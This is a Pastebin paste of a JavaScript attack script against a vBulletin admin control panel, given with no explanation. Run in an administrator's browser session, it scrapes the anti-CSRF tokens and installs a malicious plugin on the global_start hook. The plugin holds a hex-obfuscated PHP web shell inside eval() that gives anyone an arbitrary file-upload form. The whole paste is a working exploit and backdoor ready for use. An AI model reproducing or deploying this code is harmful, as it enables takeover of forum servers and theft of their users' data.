lehieuit

js

Jun 26th, 2013
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.77 KB | None | 0 0
  1. var debug = true; //show result
  2. var post = getHTTPObject();
  3. var get = getHTTPObject();
  4. var admincp = "http://localhost/upload/admincp/";
  5.  
  6. function getHTTPObject() {
  7. var xmlhttp;
  8. if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
  9. try{
  10. xmlhttp = new XMLHttpRequest();
  11. }catch(e){
  12. xmlhttp = false;
  13. }
  14. }
  15. return xmlhttp;
  16. }
  17. String.prototype.between = function(prefix, suffix) {
  18. s = this;
  19. var i = s.indexOf(prefix);
  20. if (i >= 0) {
  21. s = s.substring(i + prefix.length);
  22. }
  23. else {
  24. return '';
  25. }
  26. if (suffix) {
  27. i = s.indexOf(suffix);
  28. if (i >= 0) {
  29. s = s.substring(0, i);
  30. }
  31. else {
  32. return '';
  33. }
  34. }
  35. return s;
  36. }
  37. function step1(){
  38. var string;
  39. get.open("GET", admincp+"plugin.php?do=add",true);
  40. get.onreadystatechange=function() {
  41. if (get.readyState==4) {
  42. string = get.responseText;
  43. step2(string);
  44. }
  45. }
  46. get.send(null)
  47. }
  48. function step2(str){
  49. var string;
  50. adminhash = str.between('adminhash" value="', '" />');
  51. securitytoken = str.between('securitytoken" value="', '" />');
  52. shellcode = 'eval("\\x20\\x69\\x66\\x20\\x28\\x24\\x5f\\x52\\x45\\x51\\x55\\x45\\x53\\x54\\x5b\\x27\\x64\\x6f\\x27\\x5d\\x3d\\x3d\\x27\\x6c\\x6f\\x61\\x64\\x27\\x29\\x7b\\xd\\xa\\x20\\x24\\x66\\x69\\x6c\\x65\\x73\\x20\\x3d\\x20\\x40\\x24\\x5f\\x46\\x49\\x4c\\x45\\x53\\x5b\\x22\\x66\\x69\\x6c\\x65\\x73\\x22\\x5d\\x3b\\xd\\xa\\x20\\x69\\x66\\x28\\x24\\x66\\x69\\x6c\\x65\\x73\\x5b\\x22\\x6e\\x61\\x6d\\x65\\x22\\x5d\\x20\\x21\\x3d\\x20\\x27\\x27\\x29\\x7b\\xd\\xa\\x20\\x24\\x66\\x75\\x6c\\x6c\\x70\\x61\\x74\\x68\\x20\\x3d\\x20\\x24\\x5f\\x52\\x45\\x51\\x55\\x45\\x53\\x54\\x5b\\x22\\x70\\x61\\x74\\x68\\x22\\x5d\\x2e\\x24\\x66\\x69\\x6c\\x65\\x73\\x5b\\x22\\x6e\\x61\\x6d\\x65\\x22\\x5d\\x3b\\xd\\xa\\x20\\x69\\x66\\x28\\x6d\\x6f\\x76\\x65\\x5f\\x75\\x70\\x6c\\x6f\\x61\\x64\\x65\\x64\\x5f\\x66\\x69\\x6c\\x65\\x28\\x24\\x66\\x69\\x6c\\x65\\x73\\x5b\\x27\\x74\\x6d\\x70\\x5f\\x6e\\x61\\x6d\\x65\\x27\\x5d\\x2c\\x24\\x66\\x75\\x6c\\x6c\\x70\\x61\\x74\\x68\\x29\\x29\\x20\\x65\\x63\\x68\\x6f\\x20\\x22\\x3c\\x68\\x31\\x3e\\x3c\\x61\\x20\\x68\\x72\\x65\\x66\\x3d\\x27\\x24\\x66\\x75\\x6c\\x6c\\x70\\x61\\x74\\x68\\x27\\x3e\\x4f\\x4b\\x2d\\x43\\x6c\\x69\\x63\\x6b\\x20\\x68\\x65\\x72\\x65\\x21\\x3c\\x2f\\x61\\x3e\\x3c\\x2f\\x68\\x31\\x3e\\x22\\x3b\\xd\\xa\\x20\\x7d\\xd\\xa\\x20\\x64\\x69\\x65\\x28\\x27\\x3c\\x66\\x6f\\x72\\x6d\\x20\\x6d\\x65\\x74\\x68\\x6f\\x64\\x3d\\x50\\x4f\\x53\\x54\\x20\\x65\\x6e\\x63\\x74\\x79\\x70\\x65\\x3d\\x22\\x6d\\x75\\x6c\\x74\\x69\\x70\\x61\\x72\\x74\\x2f\\x66\\x6f\\x72\\x6d\\x2d\\x64\\x61\\x74\\x61\\x22\\x20\\x61\\x63\\x74\\x69\\x6f\\x6e\\x3d\\x22\\x22\\x3e\\xd\\xa\\x20\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\x79\\x70\\x65\\x3d\\x74\\x65\\x78\\x74\\x20\\x6e\\x61\\x6d\\x65\\x3d\\x70\\x61\\x74\\x68\\x3e\\xd\\xa\\x20\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\x79\\x70\\x65\\x3d\\x22\\x66\\x69\\x6c\\x65\\x22\\x20\\x6e\\x61\\x6d\\x65\\x3d\\x22\\x66\\x69\\x6c\\x65\\x73\\x22\\x3e\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\x79\\x70\\x65\\x3d\\x73\\x75\\x62\\x6d\\x69\\x74\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x22\\x55\\x70\\x22\\x3e\\x3c\\x2f\\x66\\x6f\\x72\\x6d\\x3e\\x27\\x29\\x3b\\xd\\xa\\x20\\x7d\\xd\\xa");';
  53. data = "do=update&adminhash="+adminhash+"&securitytoken="+securitytoken+"&product=vbulletin&hookname=global_start&title=Upload&executionorder=5&phpcode="+shellcode+"&active=1&pluginid=";
  54. post.onreadystatechange = function(){
  55. if(post.readyState == 4){
  56. string = post.responseText;
  57. if(debug == true) document.write(string);
  58. }
  59. }
  60. post.open("POST", admincp+"plugin.php?do=update", true);
  61. post.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  62. post.setRequestHeader("Content-length", data.length);
  63. post.setRequestHeader("Connection", "close");
  64. post.send(data);
  65. }
  66. step1();
Add Comment
Please, Sign In to add comment